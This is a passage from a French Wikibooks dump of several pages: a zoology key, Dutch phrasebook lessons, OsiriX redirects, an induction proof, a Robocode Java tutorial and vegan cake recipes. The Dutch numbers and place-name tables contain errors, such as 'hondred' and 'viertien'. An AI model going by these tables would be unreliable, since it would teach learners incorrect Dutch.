==20== *Symétrie radiale présente à un certain point du cycle de vie **Oui - [[Clés dichotomiques : Echinodermata|Echinodermata]] **Non - [[Clés dichotomiques : Chaetognatha|Chaetognatha]] ==21: Radiata== *Présence de cnidocytes **Oui - [[Clés dichotomiques : Cnidaria|Cnidaria]] **Non - [[Clés dichotomiques : Ctenophora|Ctenophora]] ==22== *Présence de épines autour de la tête **Oui - [[Clés dichotomiques : Kinorhyncha|Kinorhyncha]] **Non - [[#23]] ==23== *Présence d'épines sur le proboscis **Oui - [[Clés dichotomiques : Priapulida|Priapulida]] **Non - pourrait être Nematoda ou Nematomorpha ==24== *Présence de deux tubes adhésifs **Oui - [[Clés dichotomiques : Gastrotricha|Gastrotricha]] **Non - [[Clés dichotomiques : Platyhelminthes|Platyhelminthes]] ==25: Gnathifera== *Présence d'un proboscis **Oui - [[Clés dichotomiques : Acanthocephala|Acanthocephala]] **Non - [[#26]] ==26== Pourrait être Rotifera, Gnathostoma ou Limnognathia {| border=1 cellspacing=0 align="right" cellpadding=2 width="250" |- align=center bgcolor=plum !Glossaire pour cette page <br><small>(tous les liens vont vers les articles de Wikipedia)</small> |- | {| align=left bgcolor=white |- |'''[[w:fr:Chambre digestive|Chambre digestive]]''' : |- |'''[[w:fr:Symétrie radiale|Symétrie radiale]]''' : |- |'''[[w:fr:Symétrie bilatérale|Symétrie bilatérale]]''' : |- |'''[[w:fr:Trochophore|Trochophore]]''' : |- |'''[[w:fr:Lophophore|Lophophore]]''' : |- |'''[[w:fr:Segmentation|Segmentation]]''' : |- |'''[[w:fr:Manteau|Manteau]]''' : |- |'''[[w:fr:Symbiose|Symbiose]]''' : |- |'''[[w:fr:Ecydsis|Ecydsis]]''' : |- |'''[[w:fr:Joint|Joint]]''' : |- |'''[[w:fr:Notochord|Notochord]]''' : |} |} __NOTOC__ [[en:Dichotomous Key:Animalia]] Modèle:R 4852 18106 2005-07-30T14:34:22Z Jim2k 289 {| border=1 cellspacing=0 align="right" cellpadding=2 width="150" |- align=center bgcolor=plum ![[Clés dichotomiques]] : {{{1}}} |- | {| align=left bgcolor=white |- |Règne : '''[[clés dichotomiques : {{{2}}}|{{{3}}}]]''' |} |} Modèle:Contenu explosif (néerlandais) 4853 39759 2006-04-07T00:45:29Z 80.192.16.177 Changed to another copy on Commons <br clear="all"> {| align="center" style="background-color:#f7f8ff; width:80%; text-align:justify; padding:5px; border:1px solid #8888aa; border-right-width:2px; border-bottom-width:2px; margin-top:10px;" |- | [[Image:Achtung.svg|30px]] | style="padding-left: 20px" | Cette section contient un contenu cru susceptible de ne pas convenir à tout public en particulier les plus jeunes ! |} Les couleurs (néerlandais) 4854 19209 2005-08-15T21:02:06Z 82.249.0.37 /* Le vocabulaire */ {{Néerlandais-Page-Suivante|Prec=Les nombres|Suiv=Les pays|TDM=Guide de conversation}} == Les phrases types == {| border=0 border="1" cellspacing="0" style="background-color: #99CCFF; border-collapse: collapse;font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho;" align=center |- ! Néerlandais ! Prononciation ! Francais |- | Hebt u ook andere kleuren ? | // | Avez-vous d'autres coloris ? |} == Le vocabulaire == {| border=0 border="1" cellspacing="0" style="background-color: #90FF80; border-collapse: collapse;font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" align=center |- ! Néerlandais ! Prononciation ! Francais |- |blauw || // || bleu |- |bruin || // || marron |- |geel || // || jaune |- |groen || // || vert |- |oranje || // || orange |- |paars || // || mauve |- |roze || // || rose |- |rood || // || rouge |- |wit || // || blanc |- |zwart || // || noir |} == Pour plus de détails == voir les leçons: * [[Leçon 1: Se Saluer (néerlandais)|Leçon 1]] Se Saluer {{Néerlandais-Page-Suivante|Prec=Les nombres|Suiv=Les pays|TDM=Guide de conversation}} Petits mots (néerlandais) 4855 18140 2005-07-30T17:37:39Z Laurent Bouvier 425 {{Néerlandais-Page-Suivante|Prec=Néerlandais vivant|Suiv=Gros mots|TDM=Néerlandais vivant}} == Les phrases types == == Le vocabulaire == {| border=0 border="1" cellspacing="0" style="background-color: #99CCFF; border-collapse: collapse;" align=center |- ! Néerlandais ! Prononciation ! Francais |- |Foert! |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | /furt/ |Zut! |- |Flut! |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | /flyt/ |Flûte! |} == Pour plus de détails == {{Néerlandais-Page-Suivante|Prec=Néerlandais vivant|Suiv=Gros mots|TDM=Néerlandais vivant}} Gros mots (néerlandais) 4856 18142 2005-07-30T17:38:58Z Laurent Bouvier 425 {{Néerlandais-Page-Suivante|Prec=Petits mots|Suiv=Néerlandais vivant|TDM=Néerlandais vivant}} == Les phrases types == {| border=0 border="1" cellspacing="0" style="background-color: #99CCFF; border-collapse: collapse;" align=center |- ! Néerlandais ! Prononciation ! Francais |- |Hoe is dat toch godsmogelijk? |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | // |Comment est-ce donc Dieu possible? |} == Le vocabulaire == {| border=0 border="1" cellspacing="0" style="background-color: #99CCFF; border-collapse: collapse;" align=center |- ! Néerlandais ! Prononciation ! Francais |- |Dedzju!<br>Verdzju! |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | // |Tabernacle!<br>Bordel de Dieu! |- |Godverdomme!<br>Verdomme! |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | // |Bon dieu de con! |} == Pour plus de détails == {{Néerlandais-Page-Suivante|Prec=Petits mots|Suiv=Néerlandais vivant|TDM=Néerlandais vivant}} Envoyer quelqu'un promener (néerlandais) 4857 40915 2006-04-25T15:47:41Z 138.231.136.10 /* Les phrases types */ {{Néerlandais-Page-Suivante|Prec=Néerlandais vivant|Suiv=Néerlandais vivant|TDM=Néerlandais vivant}} == Les phrases types == {| border=0 border="1" cellspacing="0" style="background-color: #99CCFF; border-collapse: collapse;" align=center |- ! Néerlandais ! Prononciation ! Littéralement ! Francais |- |Laat mij gerust! |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | // | |Laisse-moi tranquille! |- |Scheer je weg! |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | // | |Casse-toi! |- |Maakt uit! |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | // | |Du balai! |- |Schiet uit! |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | // | |Fout le camp! |- |Stap 't op!<br>Trap 't af! |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | // | | - |- |Je weet (waar) ze hangen! |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | // |Tu sais où elles pendent |Vas te faire foutre! |} == Le vocabulaire == <!-- {| border=0 border="1" cellspacing="0" style="background-color: #99CCFF; border-collapse: collapse;" align=center |- ! Néerlandais ! Prononciation ! Francais |- |} --> == Pour plus de détails == {{Néerlandais-Page-Suivante|Prec=Néerlandais vivant|Suiv=Néerlandais vivant|TDM=Néerlandais vivant}} Néerlandais vivant (néerlandais) 4858 18141 2005-07-30T17:38:04Z Laurent Bouvier 425 #REDIRECT[[Néerlandais vivant]] Documentation en ligne de Osirix 4860 18159 2005-07-30T23:31:29Z Drendon 442 Documentation en ligne de Osirix déplacé vers Documentation en ligne de OsiriX: Replace Osirix with OsiriX #redirect [[Documentation en ligne de OsiriX]] Système minimum nécessaire pour OsiriX 4861 18169 2005-07-30T23:53:36Z Drendon 442 Système minimum nécessaire pour OsiriX déplacé vers Documentation en ligne de OsiriX/Système minimum nécessaire pour OsiriX: Comply with page naming conventions #redirect [[Documentation en ligne de OsiriX/Système minimum nécessaire pour OsiriX]] Télécharger et installer OsiriX 4862 18171 2005-07-30T23:53:38Z Drendon 442 Télécharger et installer OsiriX déplacé vers Documentation en ligne de OsiriX/Télécharger et installer OsiriX: Comply with page naming conventions #redirect [[Documentation en ligne de OsiriX/Télécharger et installer OsiriX]] Importer des images DICOM dans OsiriX 4863 18173 2005-07-31T00:05:48Z Drendon 442 Importer des images DICOM dans OsiriX déplacé vers Documentation en ligne de OsiriX/Importer des images DICOM dans OsiriX: Comply with page naming conventions #redirect [[Documentation en ligne de OsiriX/Importer des images DICOM dans OsiriX]] Ouvrir plusieurs séries simultanément 4864 18175 2005-07-31T00:06:12Z Drendon 442 Ouvrir plusieurs séries simultanément déplacé vers Documentation en ligne de OsiriX/Ouvrir plusieurs séries simultanément: Comply with page naming conventions #redirect [[Documentation en ligne de OsiriX/Ouvrir plusieurs séries simultanément]] Modifier les fenêtres d'OsiriX 4865 18177 2005-07-31T00:19:50Z Drendon 442 Modifier les fenêtres d'OsiriX déplacé vers Documentation en ligne de OsiriX/Modifier les fenêtres d'OsiriX: Comply with page naming conventions #redirect [[Documentation en ligne de OsiriX/Modifier les fenêtres d'OsiriX]] Examiner plusieurs séries simultanément 4866 18179 2005-07-31T00:20:00Z Drendon 442 Examiner plusieurs séries simultanément déplacé vers Documentation en ligne de OsiriX/Examiner plusieurs séries simultanément: Comply with page naming conventions #redirect [[Documentation en ligne de OsiriX/Examiner plusieurs séries simultanément]] Administrer une base de données locale OsiriX 4867 18181 2005-07-31T00:22:25Z Drendon 442 Administrer une base de données locale OsiriX déplacé vers Documentation en ligne de OsiriX/Administrer une base de données locale OsiriX: Comply with page naming conventions #redirect [[Documentation en ligne de OsiriX/Administrer une base de données locale OsiriX]] Fusionner des images 4868 18183 2005-07-31T00:22:32Z Drendon 442 Fusionner des images déplacé vers Documentation en ligne de OsiriX/Fusionner des images: Comply with page naming conventions #redirect [[Documentation en ligne de OsiriX/Fusionner des images]] Spécifications de OsiriX 4870 18188 2005-07-31T00:33:19Z Drendon 442 Spécifications de OsiriX déplacé vers Documentation en ligne de OsiriX/Spécifications d'OsiriX: Comply with page naming conventions #redirect [[Documentation en ligne de OsiriX/Spécifications d'OsiriX]] A propos de OsiriX 4871 20190 2005-08-28T08:40:36Z Jusjih 513 La fin de la double redirection #redirect [[Documentation en ligne de OsiriX/A propos d'OsiriX]] A propos d'OsiriX 4872 18194 2005-07-31T00:39:21Z Drendon 442 A propos d'OsiriX déplacé vers Documentation en ligne de OsiriX/A propos d'OsiriX: Comply with page naming conventions #redirect [[Documentation en ligne de OsiriX/A propos d'OsiriX]] Les nombres (néerlandais) 4875 18502 2005-08-04T23:53:41Z Laurent Bouvier 425 /* Le vocabulaire */ {{Néerlandais-Page-Suivante|Prec=Guide de conversation|Suiv=Les couleurs|TDM=Guide de conversation}} == Les phrases types == <!-- {| border=0 border="1" cellspacing="0" style="background-color: #99CCFF; border-collapse: collapse;font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho;" align=center |- ! Néerlandais ! Prononciation ! Francais |- | Hebt u ook andere kleuren ? | // | Avez-vous d'autres coloris ? |} --> == Le vocabulaire == <table> <tr valign=top><td> * Les nombres de 0 à 12 sont spécifiques. * A partir de treize comme en anglais les chiffres sont construits en accolant l'unité à la ''tien'' (dix). {| border=0 border="1" cellspacing="0" style="background-color: #90FF80; border-collapse: collapse;font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" align=center |- ! Cardinaux<br> <small>(1, 2, 3 ...)</small> ! Ordinaux <br> <small>(1<sup>er</sup>, 2<sup>e</sup>, 3<sup>e</sup> ...)</small> ! Francais |- | een, één|| ee'''rs'''te || 1 |- | twee|| tweede || 2 |- | drie|| '''der'''de || 3 |- | vier|| vierde || 4 |- | vijf|| vijfde|| 5 |- | zes|| zesde|| 6 |- | zeven|| zevende|| 7 |- | acht|| achtte|| 8 |- | negen|| negende|| 9 |- | tien|| tien|| 10 |- | elf|| elfde|| 11 |- | twaalf|| twaalfde|| 12 |- | '''der'''tien|| dertiende || 13 |- | viertien|| vierde || 14 |- | vijftien|| vijftiende|| 15 |- | zestien|| zestiende|| 16 |- | zeventien|| zeventiende|| 17 |- | achttien|| achttiende|| 18 |- | negentien|| negentiende|| 19 |} </td> <td> * Les chiffres des dizaines sont construits à partir des unités en accolant ''tig''. * Les chiffres ont une construction inversés par rapport au français. On applique la règle unité + en + dizaine. {| border=0 border="1" cellspacing="0" style="background-color: #90FF80; border-collapse: collapse;font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" align=center |- ! Cardinaux<br> <small>(1, 2, 3 ...)</small> ! Ordinaux <br> <small>(1<sup>er</sup>, 2<sup>e</sup>, 3<sup>e</sup> ...)</small> ! Francais |- | '''twin'''tig|| twintigste || 20 |- | '''der'''tig|| dertigste || 30 |- | '''veer'''tig|| veertigste || 40 |- | vijftig|| vijftigste|| 50 |- | zestig|| zestigste|| 60 |- | zeventig|| zeventigste|| 70 |- | '''t'''achtig|| achtigste|| 80 |- | negentig|| negentigste|| 90 |- | eenentwintig|| eenentwintigste || 21 |- | twee'''ë'''ntwintig|| tweeëntwintigste|| 22 |- | drie'''ë'''ntwintig|| drieëntwintigste || 23 |- | vierentwintig|| vierentwintigste|| 24 |- | vijfentwintig|| vijfentwintigste|| 25 |- | zesentwintig|| zesentwintigste|| 26 |- | zevenentwintig|| zevenentwintigste|| 27 |- | achtentwintig|| achtentwintigste|| 28 |- | negenentwintig|| negenentwintigste|| 29 |} </td></tr> <tr valign=top><td> * On accole aussi les centaines au suffixe ''hondred'' * On juxtapose enfin les centaines avec le nombres inférieurs * On peut enfin ajouter ''en'' {| border=0 border="1" cellspacing="0" style="background-color: #90FF80; border-collapse: collapse;font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" align=center |- ! Cardinaux<br> <small>(1, 2, 3 ...)</small> ! Francais |- | hondred || 100 |- | hondred en één || 101 |- | hondred en twee || 102 |- | colspan=2 | ... |- | hondred en twaalf|| 112 |- | hondred dertien|| 113 |- | hondred veertien|| 114 |- | hondred vijftien|| 115 |- | colspan=2 | ... |- | hondred twintig|| 120 |- | hondred eenentwintig|| 121 |- | colspan=2 | ... |- | tweehondred || 200 |- | tweehondred en een|| 201 |- | colspan=2 | ... |- | driehondred || 300 |- | vierhondred || 400 |- | vijfhondred || 500 |- | zeshondred || 600 |- | zevenhondred || 700 |- | achthondred || 800 |- | negenhondred || 900 |- | negenhondred negenennegentig|| 999 |} </td> <td> * Même principe pour les milliers {| border=0 border="1" cellspacing="0" style="background-color: #90FF80; border-collapse: collapse;font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" align=center |- ! Cardinaux<br> <small>(1, 2, 3 ...)</small> ! Francais |- | hondred || 100 |- | duizend || 1000 |- | tienduizend || 10000 |- | hondred duizend || 100000 |- | een miljoen || 1000000 |- | hondred en elf|| 111 |- | duizend hondred en elf || 1111 |- | elfduizend hondred en elf || 11111 |- | hondred elf duizend hondred en elf || 111111 |- | een miljoen hondred elf duizend hondred en elf || 1111111 |- | negenennegentig || 99 |- | negenhondred negenennegentig || 999 |- | negenduizend negenhondred negenennegentig|| 9999 |- | negentien duizend negenhondred negenennegentig|| 99999 |- | negenhondred negentien duizend negenhondred negenennegentig|| 999999 |- | negen miljoen negenhondred negentien duizend negenhondred negenennegentig|| 9999999 |} </td></tr> </table> == Pour plus de détails == voir les leçons: * [[Leçon 1: Se Saluer (néerlandais)|Leçon 1]] Se Saluer {{Néerlandais-Page-Suivante|Prec=Guide de conversation|Suiv=Les couleurs|TDM=Guide de conversation}} Sons et orthographe (néerlandais) 4876 18237 2005-08-01T08:34:42Z Laurent Bouvier 425 Sons et orthographe (néerlandais) déplacé vers Écrire les syllabes (néerlandais) #redirect [[Écrire les syllabes (néerlandais)]] Comment décomposer les syllabes (néerlandais) 4877 24467 2005-10-28T17:32:45Z Erasmus 194 [[Comment décomposer les syllables (néerlandais)]] déplacé vers [[Comment décomposer les syllabes (néerlandais)]] {{Néerlandais-Page-Suivante|Prec=Écrire les syllabes|Suiv=Correspondance entre lettres et sons|TDM=Phonologie}} {{ébauche}} {{Néerlandais-Page-Suivante|Prec=Écrire les syllabes|Suiv=Correspondance entre lettres et sons|TDM=Phonologie}} Correspondance entre lettres et sons (néerlandais) 4878 18243 2005-08-01T08:47:30Z Laurent Bouvier 425 {{Néerlandais-Page-Suivante|Prec=Comment décomposer les syllables|Suiv=Assimilation|TDM=Phonologie}} {{ébauche}} {{Néerlandais-Page-Suivante|Prec=Comment décomposer les syllables|Suiv=Assimilation|TDM=Phonologie}} Démontrer le théorème de récurrence 4881 20407 2005-09-01T16:49:53Z Gede77 523 Démontrer le théorême de récurrence déplacé vers Démontrer le théorème de récurrence ==Enoncé== Soit P une proposition dans <math>\N</math>. On a : <math> \begin{matrix} P(0) &&\\ \forall{n} \in \N \ P(n) &\Rightarrow &P(n^+) \end{matrix} \Bigg] \Rightarrow \forall{n} \in \N </math> on a <math>P(n)</math> ==Démonstration== Soit P une proposition et un ensemble <math>\mathcal{P} = \lbrace n \in \N / P(n) \rbrace </math> On a : <math> P(0) \Rightarrow 0 \in \mathcal{P}</math> et <math>\forall n \in \mathcal{P} \Rightarrow P(n) \Rightarrow P(n^+) \Rightarrow n^+ \in \mathcal{P}</math> On peut dire que <math>\mathcal{P}</math> vérifie l'axiome de récurrence et que <math>\mathcal{P} = \N </math>. On a donc démontré que : <math>\forall{n} \in \N, P(n)</math> est vrai Ce théorème est le théorème de récurrence Blender 3D: du débutant au pro/Image (logo) 2D vers un modèle 3D 4892 37008 2006-03-10T16:19:55Z 80.11.151.64 Je pourrais vous tapoter [http://www.vrotvrot.com/xoom/tutorials/logoTut/logoTut.html ce tutoriel], mais je trouve qu'un lien, c'est plus efficace, même s'il est en anglais. Il est aussi en italien et en allemand. Amusez-vous bien. Note : si une bonne âme ayant du temps pouvait en refaire un résumé tout en conservant le lien vers la page ce serait très aimable :) Robocode 4893 42923 2006-05-21T08:59:19Z Mly 1518 [[Image:Robocode-logo.png|thumb|right|300px|''Splash screen'' de Robocode]] [[Image:Logo java.JPG|right]] '''[[w:Robocode|Robocode]]''' est un [[:catégorie:jeu vidéo|jeu vidéo]] éducatif [[w:libre|libre]] créé et distribué gratuitement par [[w:International Business Machines|IBM]]. Il est destiné à l'apprentissage du [[Programmation|langage de programmation]] [[Java]]. Les joueurs programment un [[w:logiciel|logiciel]] contrôlant les réactions d'un ou plusieurs [[w:char|char]]s miniatures. Ce livre a pour but de faire découvrir le langage de programmation Java par l'intermédiaire de ce jeu de bataille. Des notions de [[programmation]] et d'[[anglais]] sont nécessaires pour une pleine compréhension. ==Au préalable== Pour pleinement profiter de Robocode vous devez préalablement avoir préparé votre environnement de programmation. Cela se déroule en quelques étapes : #Mettre à jour l'environnement Java : [http://java.com/fr/download/] #Télécharger puis installer Robocode : [http://robocode.sourceforge.net/] ==Démarrer une bataille== [[Image:Robocode-new battle.png|thumb|right|200px|La fenêtre ''New Battle'']] Lancez le logiciel, nous allons maintenant créer puis observer notre première bataille avec des exemples de robots. Sur la fenêtre principale ''Robocode''. Allez dans le menu déroulant ''Battle>New'', une fenêtre ''New Battle'' apparaît, choisissez le ''package'' ''sample'' puis surlignez deux (ou plus) robots tel que ''Ramfire'' et ''MyFirstRobot'' à droite, cliquez sur ''Add ->'' répétez l'opération autant de fois que vous souhaitez de robots sur le champ de bataille (''BattleField''). [[Image:Robocode-battle-five-wikibot.png|thumb|right|200px|Bataille sur un champ de 400x400]] [[Image:Robocode-results for ten battles.png|thumb|right|400px|Tableau des statistiques]] Cliquez ensuite sur ''Start Battle'' et observez le comportement des robots, les déplacements, les tirs, etc. Au bout de la dixième manche, un tableau de statistiques s'affiche. On observe que le robot a un canon rotatif, le châssis peut évoluer dans toutes les directions. Le balayage radar est circulaire, pour l'observer cochez ''Visible Scan Arcs'' dans ''Option>Preferences''. == Créer son premier robot == Lancez l'éditeur de robot depuis le menu déroulant ''Robot>Editor'' puis créez un nouveau robot vide (''File>New>Robot''). Entrez son nom (''Wikibot'') et les initiales (''wb''). Une nouvelle fenêtre apparaît avec le code source de votre robot : <pre> package wb; import robocode.*; //import java.awt.Color; /** * Wikibot - a robot by (your name here) */ public class Wikibot extends Robot { /** * run: Wikibot's default behavior */ public void run() { // After trying out your robot, try uncommenting the import at the top, // and the next line: //setColors(Color.red,Color.blue,Color.green); while(true) { // Replace the next 4 lines with any behavior you would like ahead(100); turnGunRight(360); back(100); turnGunRight(360); } } /** * onScannedRobot: What to do when you see another robot */ public void onScannedRobot(ScannedRobotEvent e) { fire(1); } /** * onHitByBullet: What to do when you're hit by a bullet */ public void onHitByBullet(HitByBulletEvent e) { turnLeft(90 - e.getBearing()); } } </pre> Le programme sera expliqué ultérieurement, dans un premier temps Wikibot doit être compilé puis exécuté pour observation. == Compiler son premier robot == Dans la fenêtre ''Robot Editor'' cliquez ''Compiler>Compile'', répondez affirmativement à toutes les boîtes de dialogues jusqu'à la fenêtre ''Compiled successfully''. Le premier adversaire de Wikibot sera à sa hauteur puisqu'il s'agira de lui même. [[catégorie:Java]] [[catégorie:Jeu vidéo]] Image:Digue2.gif 4894 19750 2005-08-21T18:13:13Z 82.253.172.247 Cette image représente une modélisation de la digue semi flottante de Monaco. La digue reçoit un choc et réagit. C'est cette réaction qui est présenté sous forme de Gif animé Wikiversité:Histoire 4896 32589 2006-02-12T23:21:27Z 82.225.180.163 /* Projet pour étudiants */ oups. {{ébauche}} La faculté d''''Histoire''' de la [[Wikiversité]]. ==Projet pour étudiants== * [[w:Wikipédia:Projet/Histoire pour les étudiants en licence|Projet/Histoire (Encyclopédie historique pour étudiants en licence)]] =Les premiers cours= ''A wikifier'', * <u>Histoire de France</u>, Deug 1 : # [[w:Utilisateur:Bordeaux3/Cours d'Histoire Moderne sous Louis XVI|France sous Louis XVI]] (ne pas déplacer. Wikification et correction des fautes de petites section bienvenue.) # Prise de note de l'exposé: [[w:La France dans la guerre d'indépendance américaine (1778-1783)|La France dans la guerre d'indépendance américaine (1778-1783)]] * <u>Histoire de Chine</u><!--Bordeaux3-->, 2004-2005 : # [[Guerre de l'Opium]] # [[Les crises des régions frontalières et le dépeçage de la Chine]] # [[Le réveil national]] # [[Les tentatives de modernisation opérées sous les Qing - Le mouvement pour les activités à l’occidentale]] # [[La fin de la dynastie mandchoue (1901-1911) : 1-les réformes]] # [[La fin de la dynastie mandchoue (1901-1911) : 2-la révolution]] # [[De la république à la dictature et de la dictature à la république]] # [[L'anarchie militaire, la république des seigneurs de la guerre 1916-1927]] # [[Le premier front uni 1924-1927 et la décennie de Nankin 1927-1937]] # [[Le deuxième front uni (1937-1945)]] =[[wikiversité|Retour à la Wikiversité]]= Wikiversité:Linguistique 4897 18430 2005-08-04T13:35:25Z Greudin 1 =[[wikiversité|Retour à la Wikiversité]]= {{ébauche}} * <u>Cours de Coréen</u> (en projet): # [[Structures et grammaire coréenne]] # [http://fr.wikipedia.org/wiki/Image:100_mots_cor%C3%A9ens.JPG Vocabulaire coréen] (image) # [[Histoire coréenne (base)]] =[[wikiversité|Retour à la Wikiversité]]= Se présenter (néerlandais) 4899 21615 2005-09-17T20:26:38Z 217.136.202.106 /* L'état civil */ {{Néerlandais-Page-Suivante|Suiv=Se présenter|Prec=Salutations|TDM=Guide de conversation}} == Qui je suis ... == Voici quelques phrases types ... {| border=0 border="1" cellspacing="0" style="background-color: #99CCFF; border-collapse: collapse;font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" align=center |- ! colspan=3 |Questions: ! colspan=3 |Réponses: |- ! Néerlandais ! ! Francais ! Néerlandais ! ! Francais |- | Hoe heet u ?<br>Hou heet je ? | | Comment vous appelez-vous ?<br>Comment t'appelles-tu? | Mijn naam is Anna<br>Ik heet Boris | | Je m'appelle Anna/Boris |} == D'où je suis == {| border=0 border="1" cellspacing="0" style="background-color: #99CCFF; border-collapse: collapse;font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" align=center |- ! colspan=3 |Questions: ! colspan=3 |Réponses: |- ! Néerlandais ! ! Francais ! Néerlandais ! ! Francais |- | Waar komt u vandaan ?<br>Waar kom je vandaan ? | | D'où venez-vous?<br>Où viens-tu? | Ik kom uit Frankrijk | | Je viens de France |- | Waar woont u?<br>Waar woon je ? | | Où habitez-vous?<br>Où habites-tu? | Ik woon in Brussel | | J'habite à Bruxelles |} <table align="center"> <tr valign="top"> <td align="center"> '''Villes:''' {| border=0 border="1" cellspacing="0" style="background-color: #90FF80; border-collapse: collapse;font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" align=center |- ! Néerlandais ! ! Francais |- | Antwerpen | | Anvers |- | Baarle-Hertog | | Bar-le-Duc |- | Brugge | | Bruges |- | Bergen | | Mons |- | Brussels | | Bruxelles |- | Den Haag | | La Haye |- | IJzer | | Yser |- | Kortrijk | | Courtrai |- | Leuven | | Louvain |- | Luik | | Liège |- | Mechelen | | Malines |- | Mennen | | Menin |- | Rijsel | | Lille |- | 's Hertogenbosch | | Bois-le-duc |} </td> <td align="center"> '''Pays:''' {| border=0 border="1" cellspacing="0" style="background-color: #90FF80; border-collapse: collapse;font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" align=center |- ! Néerlandais ! ! Francais |- | '''België''' | | '''Belgique''' |- | Duitsland | | l'Allemagne |- | Danemarken | | Danemark |- | '''Frankrijk''' | | '''France''' |- | Finland | | la Finlande |- | Groot-Britannië | | la Grande-Bretagne |- | Griekenland | | Grèce |- | Italië | | Italie |- | Ierland | | Irlande |- | Luxemburg | | Luxembourg |- | '''Nederland''' | | '''les Pays-Bas''' |- | Oostenrijk | | l'Autriche |- | Portugal | | le Portugal |- | Spanje | | l'Espagne |- | Zweden | | la Suède |- | colspan=3 | '''Régions:''' |- | Vlaanderen<br><small>! pluriel!</small> | | la Flandre |- | Holland | | Hollande |- | Wallonië | | Wallonie |} Pour plus d'information: [[Pays (néerlandais)|Liste complète des pays]] [[Image:100%.png]] </td> <td align="center"> '''La géographique naturelle:''' {| border=0 border="1" cellspacing="0" style="background-color: #90FF80; border-collapse: collapse;font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" align=center |- ! Néerlandais ! ! Francais |- | Noordzee | | la Mer du Nord |- | Maas | | la Meuse |- | Schelde | | l'Escaut |- | Rijn | | le Rhin |} </td> </tr> </table> == L'état civil == {| border=0 border="1" cellspacing="0" style="background-color: #99CCFF; border-collapse: collapse;font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" align=center |- ! colspan=3 |Réponses: |- ! Néerlandais ! ! Francais |- | Ik ben getrouwd<br>Ik ben gehuwd | | Je suis marié |- | Ik ben gescheiden. | | Je suis divorcé |- | Dit is mijn vrouw. | | Voici mon épouse |} == Le métier == {{Néerlandais-Page-Suivante|Suiv=Se présenter|Prec=Salutations|TDM=Guide de conversation}} Cuisine:Cake nature 4900 39531 2006-04-03T09:15:27Z 217.145.35.117 {{Livre de cuisine}} ==Ingrédients== * 1kg de farine, * 8g de levure, * 240g de margarine végétale ou d’huile d’arachide, * 240g de sucre brun, * 2 cuillères à thé de fécule de maïs diluée dans 2 cuillères à soupe d’eau * 2 bananes écrasées en purées. ==Préparation== * Mélanger l’huile (ou la margarine fondue) avec le sucre. Ajouter les bananes écrasées, puis la farine et la levure, petit à petit. Mouiller avec le mélange eau / fécule (ajouter un peu d’eau si la pâte est trop sèche). * Placer la pâte dans un moule préalablement huilé et fariné. Cuire dans un four préchauffé pendant 40 à 50 min à 180°C. * '''Conseil''' : ''Vous pouvez ajouter à cette pâte des raisins secs, des pépites de chocolat, des pommes en dés, etc.'' Cuisine:cake aux olives 4901 18457 2005-08-04T19:54:55Z Sarvok 270 {{Livre de cuisine}} ==Ingrédients== * 180g de farine *1 sachet de levure * 3 cuillères à soupe rases de fécule de maïs * 150g de tofu émietté * 10cL d'huile d'olive * 10cL de crème de soja (ou lait de soja) * 100g d'olives vertes dénoyautées * 100g d'olives noires dénoyautées * 1 pincée de sel, poivre * 1 cuillères à soupe de bicarbonate. ==Préparation== * Préchauffez le four (th.6). * Mélangez les ingrédients secs ensemble puis incorporez les liquides et le tofu émietté et les olives. * Beurrez avec la margarine végétale et farinez le moule à cake, puis y verser la pâte. Faire cuire au four (th.6) pendant 40 min environ (surveillez la fin de la cuisson en y plantant une lame de couteau qui doit ressortir sèche). * Laissez refroidir un peu avant de démouler. Cuisine:Cake 